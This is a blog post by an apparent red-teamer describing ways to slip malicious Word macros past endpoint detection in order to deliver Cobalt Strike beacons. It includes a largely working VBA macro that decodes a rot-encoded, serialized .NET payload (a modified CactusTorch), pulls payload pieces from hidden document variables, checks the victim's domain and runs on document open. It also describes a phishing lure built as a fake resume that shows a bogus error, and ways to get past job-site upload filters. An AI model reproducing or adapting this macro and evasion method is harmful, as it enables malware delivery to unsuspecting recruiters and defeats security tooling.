Now that Microsoft is blocking macros for internet and externally sourced documents, I feel its safer to talk about some of the EDR evading Word macro techniques I have used in the past. Particularly for delivering Cobalt Strike beacons.
Cactus Torch is a great tool as a starting point. It takes some basic concepts such as a encoding the CS payload in memory, starting a process and injecting the payload into memory. Unfortunately, Cactus Torch is heavily signatured, but with a bit of modification, you can easily bypass most EDR solutions, including Windows Defender. Cactus Torch gets flagged because of a few function calls and variable names, but if you change those, you’ll find EDR no longer detects it. That’s the first step towards EDR evasion.
However, it will all be for naught if your CS payload is detected. So we’ll need to do more.
The second technique to evade EDR is rot9 encoding the variables for the payload and having them decode at runtime. This technique I got from talks delivered at DerbyCon by Walmart’s Red Team by Carrie Roberts. This technnique is simple enough, easy to implement in macros, and you can write up a quick encoder for your raw CS payload in Powershell or your favorite scripting language. Even better if you can get it to be broken up into chunks for variable assignment.
You can also hide your payload in Document variables, where it will be saved as part of the document, not the script. The Document variables are meant to be static/immutable once assigned, so you’ll need to assign them, save the document, then delete the variable assignments from the macro code, else it will throw an error. But the payload will be saved and you can deliver it to your victim. If you do this, you likely won’t have to do rot9 encoding since EDR only examines the macro, but if you’ve already gone through the effort, no harm in leaving it in, its just a bit of extra CPU time on execution.
'
' decrypt_resume Macro
'
'
Public code As String
Public key As String
Sub Init()
# Set ActiveDocument Variables with the payload and run once, then remove
End Sub
Private Function unhify(h)
On Error Resume Next
Dim DM, EL
Set DM = CreateObject("Microsoft.XMLDOM")
Set EL = DM.createElement("tmp")
EL.DataType = "bin.hex"
EL.Text = h
unhify = EL.NodeTypedValue
End Function
Private Function Oct(Thur)
Oct = Chr(Thur - 19)
End Function
Private Function May(Wed)
May = Left(Wed, 3)
End Function
Private Function Sept(Mon)
Sept = Right(Mon, Len(Mon) - 3)
End Function
Private Function Nov(Sat)
Do
Yesterday = Yesterday + Oct(May(Sat))
Sat = Sept(Sat)
Loop While Len(Sat) > 0
Nov = Yesterday
End Function
Function decryptResume()
# so is really CactusTorch TestClass.cs modified to remove key signatures # and compiled and converted using DotNet2JScript, then Rot 9 encoded.
Dim so
so = "0670670670680670670670670670670890890890890890890890890670680670670670670670670670670670670670670670"
so = so & "6706707106706806706706706706706706906907207007407607407007407107307207308706908807107107307207308607"
so = so & "3072073074073068074071073072072070073072074069073076073068073086073076074084073068074071073076073089"
# Most of the lines removed for brevity
ec = "resume"
Dim stm As Object, fmt As Object, al As Object
Set stm = CreateObject("System.IO.MemoryStream")
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
Dim dec
dec = unhify(Nov(so))
For Each i In dec
stm.WriteByte i
Next i
stm.Position = 0
Dim n As Object, d As Object, o As Object
Set n = fmt.SurrogateSelector
Set d = fmt.Deserialize_2(stm)
al.Add n
code1 = ActiveDocument.Variables("code1").Value
code2 = ActiveDocument.Variables("code2").Value
code3 = ActiveDocument.Variables("code3").Value
code4 = ActiveDocument.Variables("code4").Value
code5 = ActiveDocument.Variables("code5").Value
recode = code1 + code2 + code3 + code4 + code5
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(ec)
o.Decrypt recode
End Function
Sub checkCompatibility()
partOfDomain = False
wfDomain = False
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem", , 48)
For Each ObjComputer In colItems
If ObjComputer.partOfDomain Then
partOfDomain = True
End If
If ObjComputer.Domain = "COMPANY-DOMAIN" Then
Domain = True
key = ObjComputer.Domain
End If
Next
Domain = True
partOfDomain = True
key = "COMPANY-DOMAIN"
If partOfDomain And wfDomain Then
Init
decryptResume
End If
End Sub
Public Function printLine(line)
ActiveDocument.Range.Text = ActiveDocument.Range.Text & line
End Function
Sub printResume()
ActiveDocument.Range.Text = ""
printLine "????????§"
printLine "?????????¶¶¶¶¶¶§«¯®«ª±????§"
printLine "????`ïëèØ׸»»º¨¤¡~???????????"
printLine "Macro error occurred. Could not display document. Document exported by Resume Creator 2001, see help section for Resume Creator 2001 or contact support."
End Sub
Sub AutoOpen()
checkCompatibility
' printResume
End Sub
Sub Auto_Open()
AutoOpen
End Sub
The premise for this code would be a partially obscured “Resume” that requires the user to activate for “security reasons” because of the personal information contained inside, etc.
The code above removes the content and generates an error.
The document must be saved in the older .doc Word format, since the newer docx format necessarily excludes macros, and docm is usually filtered out or not allowed to be submitted to job application sites.
Ryan Linn coded up a solution to simplify this called BetterTorch which he presented on at DerbyCon. This automates a lot of this effort and utilizes a lot of the techniques above.
Another newer technique I’m seeing utilized is VSTO which bypasses macros entirely and uses a Word plugin.